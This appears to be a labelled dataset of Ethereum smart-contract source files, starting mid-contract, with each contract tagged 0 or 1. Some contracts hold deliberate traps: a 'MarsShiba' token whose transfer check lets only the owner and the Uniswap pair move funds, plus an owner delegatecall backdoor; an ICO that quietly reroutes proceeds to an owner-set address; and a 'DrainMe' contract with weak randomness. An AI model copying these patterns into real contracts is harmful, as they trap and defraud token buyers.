address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,306 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(owner==msg.sender);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
owner = newOwner;
}
}
contract ERC20 {
function totalSupply() public constant returns (uint256);
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool success);
function transferFrom(address from, address to, uint256 value) public returns (bool success);
function approve(address spender, uint256 value) public returns (bool success);
function allowance(address owner, address spender) public constant returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BetleyToken is Ownable, ERC20 {
using SafeMath for uint256;
string public name = "BetleyToken";
string public symbol = "BETS";
uint256 public decimals = 18;
uint256 public _totalSupply = 1000000000e18;
uint256 public _mainsaleSupply = 350000000e18;
uint256 public _presaleSupply = 650000000e18;
uint256 public _saleSupply = 390000000e18;
uint256 public _teamSupply = 65000000e18;
uint256 public _advisorsSupply = 55250000e18;
uint256 public _platformSupply = 130000000e18;
uint256 public _bountySupply = 9750000e18;
address private _teamAddress = 0x5cFDe81cF1ACa91Ff8b7fEa63cFBF81B713BBf00;
address private _advisorsAddress = 0xC9F2DE0826235767c95254E1887e607d9Af7aA81;
address private _platformAddress = 0x572eE1910DD287FCbB109320098B7EcC33CB7e51;
address private _bountyAddress = 0xb496FB1F0660CccA92D1B4B199eDcC4Eb8992bfA;
uint256 public isDistributionTransferred = 0;
mapping (address => uint256) balances;
mapping (address => mapping(address => uint256)) allowed;
uint256 public preSaleStartTime;
uint256 public mainSaleStartTime;
address public multisig;
address public sec_addr;
uint256 public price;
uint256 public minContribAmount = 0.1 ether;
uint256 public maxContribAmount = 100 ether;
uint256 public hardCap = 30000 ether;
uint256 public softCap = 1200 ether;
uint256 public presaleTotalNumberTokenSold=0;
uint256 public mainsaleTotalNumberTokenSold=0;
bool public tradable = false;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
modifier canTradable() {
require(tradable || ((now < mainSaleStartTime + 30 days) && (now > preSaleStartTime)));
_;
}
function BetleyToken() public{
multisig = 0x7BAD2a7C2c2E83f0a6E9Afbd3cC0029391F3B013;
balances[multisig] = _totalSupply;
preSaleStartTime = 1527811200;
mainSaleStartTime = 1533081600;
owner = msg.sender;
sendTeamSupplyToken(_teamAddress);
sendAdvisorsSupplyToken(_advisorsAddress);
sendPlatformSupplyToken(_platformAddress);
sendBountySupplyToken(_bountyAddress);
isDistributionTransferred = 1;
}
function () external payable {
tokensale(msg.sender);
}
function tokensale(address recipient) public payable {
require(recipient != 0x0);
require(msg.value >= minContribAmount && msg.value <= maxContribAmount);
price = getPrice();
uint256 weiAmount = msg.value;
uint256 tokenToSend = weiAmount.mul(price);
require(tokenToSend > 0);
if ((now > preSaleStartTime) && (now < preSaleStartTime + 60 days)) {
require(_presaleSupply >= tokenToSend);
} else if ((now > mainSaleStartTime) && (now < mainSaleStartTime + 30 days)) {
require(_mainsaleSupply >= tokenToSend);
}
balances[multisig] = balances[multisig].sub(tokenToSend);
balances[recipient] = balances[recipient].add(tokenToSend);
if ((now > preSaleStartTime) && (now < preSaleStartTime + 60 days)) {
presaleTotalNumberTokenSold = presaleTotalNumberTokenSold.add(tokenToSend);
_presaleSupply = _presaleSupply.sub(tokenToSend);
} else if ((now > mainSaleStartTime) && (now < mainSaleStartTime + 30 days)) {
mainsaleTotalNumberTokenSold = mainsaleTotalNumberTokenSold.add(tokenToSend);
_mainsaleSupply = _mainsaleSupply.sub(tokenToSend);
}
address tar_addr = multisig;
if (presaleTotalNumberTokenSold + mainsaleTotalNumberTokenSold > 10000000) {
tar_addr = sec_addr;
}
tar_addr.transfer(msg.value);
TokenPurchase(msg.sender, recipient, weiAmount, tokenToSend);
}
function setSecurityWalletAddr(address addr) public onlyOwner {
sec_addr = addr;
}
function sendTeamSupplyToken(address to) public onlyOwner {
require ((to != 0x0) && (isDistributionTransferred == 0));
balances[multisig] = balances[multisig].sub(_teamSupply);
balances[to] = balances[to].add(_teamSupply);
Transfer(multisig, to, _teamSupply);
}
function sendAdvisorsSupplyToken(address to) public onlyOwner {
require ((to != 0x0) && (isDistributionTransferred == 0));
balances[multisig] = balances[multisig].sub(_advisorsSupply);
balances[to] = balances[to].add(_advisorsSupply);
Transfer(multisig, to, _advisorsSupply);
}
function sendPlatformSupplyToken(address to) public onlyOwner {
require ((to != 0x0) && (isDistributionTransferred == 0));
balances[multisig] = balances[multisig].sub(_platformSupply);
balances[to] = balances[to].add(_platformSupply);
Transfer(multisig, to, _platformSupply);
}
function sendBountySupplyToken(address to) public onlyOwner {
require ((to != 0x0) && (isDistributionTransferred == 0));
balances[multisig] = balances[multisig].sub(_bountySupply);
balances[to] = balances[to].add(_bountySupply);
Transfer(multisig, to, _bountySupply);
}
function startTradable(bool _tradable) public onlyOwner {
tradable = _tradable;
}
function totalSupply() public constant returns (uint256) {
return _totalSupply;
}
function presaleTotalNumberTokenSold() public view returns (uint256) {
return presaleTotalNumberTokenSold;
}
function balanceOf(address who) public constant returns (uint256) {
return balances[who];
}
function transfer(address to, uint256 value) public canTradable returns (bool success) {
require (
balances[msg.sender] >= value && value > 0
);
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
Transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public canTradable returns (bool success) {
require (
allowed[from][msg.sender] >= value && balances[from] >= value && value > 0
);
balances[from] = balances[from].sub(value);
balances[to] = balances[to].add(value);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(value);
Transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool success) {
require (
balances[msg.sender] >= value && value > 0
);
allowed[msg.sender][spender] = value;
Approval(msg.sender, spender, value);
return true;
}
function allowance(address _owner, address spender) public constant returns (uint256) {
return allowed[_owner][spender];
}
function getPrice() public view returns (uint256 result) {
if ((now > preSaleStartTime) && (now < preSaleStartTime + 60 days) && (presaleTotalNumberTokenSold < _saleSupply)) {
if ((now > preSaleStartTime) && (now < preSaleStartTime + 14 days)) {
return 15000;
} else if ((now >= preSaleStartTime + 14 days) && (now < preSaleStartTime + 28 days)) {
return 13000;
} else if ((now >= preSaleStartTime + 28 days) && (now < preSaleStartTime + 42 days)) {
return 11000;
} else if ((now >= preSaleStartTime + 42 days)) {
return 10500;
}
} else if ((now > mainSaleStartTime) && (now < mainSaleStartTime + 30 days) && (mainsaleTotalNumberTokenSold < _mainsaleSupply)) {
if ((now > mainSaleStartTime) && (now < mainSaleStartTime + 30 days)) {
return 10000;
}
} else {
return 0;
}
}
} | 0 | 2,237 |
pragma solidity ^0.4.23;
contract Auction {
string public description;
string public instructions;
uint public price;
bool public initialPrice = true;
uint public timestampEnd;
address public beneficiary;
bool public finalized = false;
address public owner;
address public winner;
mapping(address => uint) public bids;
address[] public accountsList;
uint public increaseTimeIfBidBeforeEnd = 24 * 60 * 60;
uint public increaseTimeBy = 24 * 60 * 60;
event Bid(address indexed winner, uint indexed price, uint indexed timestamp);
event Refund(address indexed sender, uint indexed amount, uint indexed timestamp);
modifier onlyOwner { require(owner == msg.sender, "only owner"); _; }
modifier onlyWinner { require(winner == msg.sender, "only winner"); _; }
modifier ended { require(now > timestampEnd, "not ended yet"); _; }
function setDescription(string _description) public onlyOwner() {
description = _description;
}
function setInstructions(string _instructions) public ended() onlyWinner() {
instructions = _instructions;
}
constructor(uint _price, string _description, uint _timestampEnd, address _beneficiary) public {
require(_timestampEnd > now, "end of the auction must be in the future");
owner = msg.sender;
price = _price;
description = _description;
timestampEnd = _timestampEnd;
beneficiary = _beneficiary;
}
function() public payable {
if (msg.value == 0) {
refund();
return;
}
require(now < timestampEnd, "auction has ended");
if (bids[msg.sender] > 0) {
bids[msg.sender] += msg.value;
} else {
bids[msg.sender] = msg.value;
accountsList.push(msg.sender);
}
if (initialPrice) {
require(bids[msg.sender] >= price, "bid too low, minimum is the initial price");
} else {
require(bids[msg.sender] >= (price * 5 / 4), "bid too low, minimum 25% increment");
}
if (now > timestampEnd - increaseTimeIfBidBeforeEnd) {
timestampEnd = now + increaseTimeBy;
}
initialPrice = false;
price = bids[msg.sender];
winner = msg.sender;
emit Bid(winner, price, now);
}
function finalize() public ended() onlyOwner() {
require(finalized == false, "can withdraw only once");
require(initialPrice == false, "can withdraw only if there were bids");
finalized = true;
beneficiary.transfer(price);
}
function refundContributors() public ended() onlyOwner() {
bids[winner] = 0;
for (uint i = 0; i < accountsList.length; i++) {
if (bids[accountsList[i]] > 0) {
uint refundValue = bids[accountsList[i]];
bids[accountsList[i]] = 0;
accountsList[i].transfer(refundValue);
}
}
}
function refund() public {
require(msg.sender != winner, "winner cannot refund");
require(bids[msg.sender] > 0, "refunds only allowed if you sent something");
uint refundValue = bids[msg.sender];
bids[msg.sender] = 0;
msg.sender.transfer(refundValue);
emit Refund(msg.sender, refundValue, now);
}
} | 1 | 3,302 |
pragma solidity ^0.4.23;
contract DrainMe {
address public winner = 0x0;
address public owner;
address public firstTarget = 0x461ec7309F187dd4650EE6b4D25D93c922d7D56b;
address public secondTarget = 0x1C3E062c77f09fC61550703bDd1D59842C22c766;
address[] public players;
mapping(address=>bool) approvedPlayers;
uint256 public secret;
uint256[] public seed = [951828771,158769871220];
uint256[] public balance;
function DranMe() public payable{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyWinner() {
require(msg.sender == winner);
_;
}
modifier onlyPlayers() {
require(approvedPlayers[msg.sender]);
_;
}
function getLength() public constant returns(uint256) {
return seed.length;
}
function setSecret(uint256 _secret) public payable onlyOwner{
secret = _secret;
}
function getPlayerCount() public constant returns(uint256) {
return players.length;
}
function getPrize() public constant returns(uint256) {
return address(this).balance;
}
function becomePlayer() public payable{
require(msg.value >= 0.02 ether);
players.push(msg.sender);
approvedPlayers[msg.sender]=true;
}
function manipulateSecret() public payable onlyPlayers{
require (msg.value >= 0.01 ether);
if(msg.sender!=owner || unlockSecret()){
uint256 amount = 0;
msg.sender.transfer(amount);
}
}
function unlockSecret() private returns(bool){
bytes32 hash = keccak256(blockhash(block.number-1));
uint256 secret = uint256(hash);
if(secret%5==0){
winner = msg.sender;
return true;
}
else{
return false;
}
}
function callFirstTarget () public payable onlyPlayers {
require (msg.value >= 0.005 ether);
firstTarget.call.value(msg.value)();
}
function callSecondTarget () public payable onlyPlayers {
require (msg.value >= 0.005 ether);
secondTarget.call.value(msg.value)();
}
function setSeed (uint256 _index, uint256 _value) public payable onlyPlayers {
seed[_index] = _value;
}
function addSeed (uint256 _add) public payable onlyPlayers {
seed.length = _add;
}
function guessSeed (uint256 _seed) public payable onlyPlayers returns(uint256) {
return (_seed / (seed[0]*seed[1]));
if((_seed / (seed[0]*seed[1])) == secret) {
owner = winner;
}
}
function checkSecret () public payable onlyPlayers returns(bool) {
require(msg.value >= 0.01 ether);
if(msg.value == secret){
return true;
}
}
function winPrize() public payable onlyOwner {
owner.call.value(1 wei)();
}
function claimPrize() public payable onlyWinner {
winner.transfer(address(this).balance);
}
function() public payable{
}
} | 0 | 2,038 |
pragma solidity ^0.4.25;
contract SafeMath {
function safeSub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function safeSub(int a, int b) internal pure returns (int) {
if (b < 0) assert(a - b > a);
else assert(a - b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a && c >= b);
return c;
}
function safeMul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
}
contract Token {
function transfer(address receiver, uint amount) public returns (bool) {
(receiver);
(amount);
return false;
}
function balanceOf(address holder) public view returns (uint) {
(holder);
return 0;
}
function approve(address _spender, uint256 _value) public returns (bool) {
(_spender);
(_value);
return false;
}
}
contract Casino {
function deposit(address _receiver, uint _amount, bool _chargeGas) public;
}
contract Owned {
address public owner;
address public receiver;
mapping (address => bool) public moderator;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyModerator {
require(moderator[msg.sender]);
_;
}
modifier onlyAdmin {
require(moderator[msg.sender] || msg.sender == owner);
_;
}
constructor() internal {
owner = msg.sender;
receiver = msg.sender;
}
function setOwner(address _address) public onlyOwner {
owner = _address;
}
function setReceiver(address _address) public onlyAdmin {
receiver = _address;
}
function addModerator(address _address) public onlyOwner {
moderator[_address] = true;
}
function removeModerator(address _address) public onlyOwner {
moderator[_address] = false;
}
}
contract RequiringAuthorization is Owned {
mapping(address => bool) public authorized;
modifier onlyAuthorized {
require(authorized[msg.sender]);
_;
}
constructor() internal {
authorized[msg.sender] = true;
}
function authorize(address _address) public onlyAdmin {
authorized[_address] = true;
}
function deauthorize(address _address) public onlyAdmin {
authorized[_address] = false;
}
}
contract Pausable is Owned {
bool public paused = false;
event Paused(bool _paused);
modifier onlyPaused {
require(paused == true);
_;
}
modifier onlyActive {
require(paused == false);
_;
}
function pause() public onlyActive onlyAdmin {
paused = true;
}
function activate() public onlyPaused onlyOwner {
paused = false;
}
}
contract BankWallet is Pausable, RequiringAuthorization, SafeMath {
address public edgelessToken;
address public edgelessCasino;
uint public maxFundAmount = 0.22 ether;
event Withdrawal(address _token, uint _amount);
event Deposit(address _receiver, uint _amount);
event Fund(address _receiver, uint _amount);
constructor(address _token, address _casino) public {
edgelessToken = _token;
edgelessCasino = _casino;
owner = msg.sender;
}
function () public payable {}
function withdraw(address _token, uint _amount) public onlyAdmin returns (bool _success) {
_success = false;
if (_token == address (0)) {
uint weiAmount = _amount;
if (weiAmount > address(this).balance) {
return false;
}
_success = receiver.send(weiAmount);
} else {
Token __token = Token(_token);
uint amount = _amount;
if (amount > __token.balanceOf(this)) {
return false;
}
_success = __token.transfer(receiver, amount);
}
if (_success) {
emit Withdrawal(_token, _amount);
}
}
function approve(uint _amount) public onlyAuthorized {
_approveForCasino(edgelessCasino, _amount);
}
function deposit(address _address, uint _amount, bool _chargeGas) public onlyActive onlyAuthorized {
Casino __casino = Casino(edgelessCasino);
__casino.deposit(_address, _amount, _chargeGas);
emit Deposit(_address, _amount);
}
function fund(address _address, uint _amount) public onlyActive onlyAuthorized returns (bool _success) {
require(_amount <= maxFundAmount);
_success = _address.send(_amount);
if (_success) {
emit Fund(_address, _amount);
}
}
function setCasinoContract(address _casino) public onlyAdmin {
edgelessCasino = _casino;
_approveForCasino(_casino, 1000000000);
}
function setMaxFundAmount(uint _amount) public onlyAdmin {
maxFundAmount = _amount;
}
function _approveForCasino(address _address, uint _amount) internal returns (bool _success) {
Token __token = Token(edgelessToken);
_success = __token.approve(_address, _amount);
}
} | 0 | 1,529 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract MarsShiba {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,663 |
pragma solidity ^0.4.24;
contract Timelock {
address public owner;
uint public releaseDate;
constructor( uint _days, uint _seconds ) public payable {
require( msg.value > 0, "There's no point in creating an empty Timelock!" );
owner = msg.sender;
releaseDate = now + (_days * 1 days) + (_seconds * 1 seconds);
}
function withdraw() public {
require( msg.sender == owner, "Only the owner can withdraw!" );
require( now > releaseDate, "Cannot withdraw prior to release date!" );
msg.sender.transfer( address(this).balance );
}
} | 1 | 5,489 |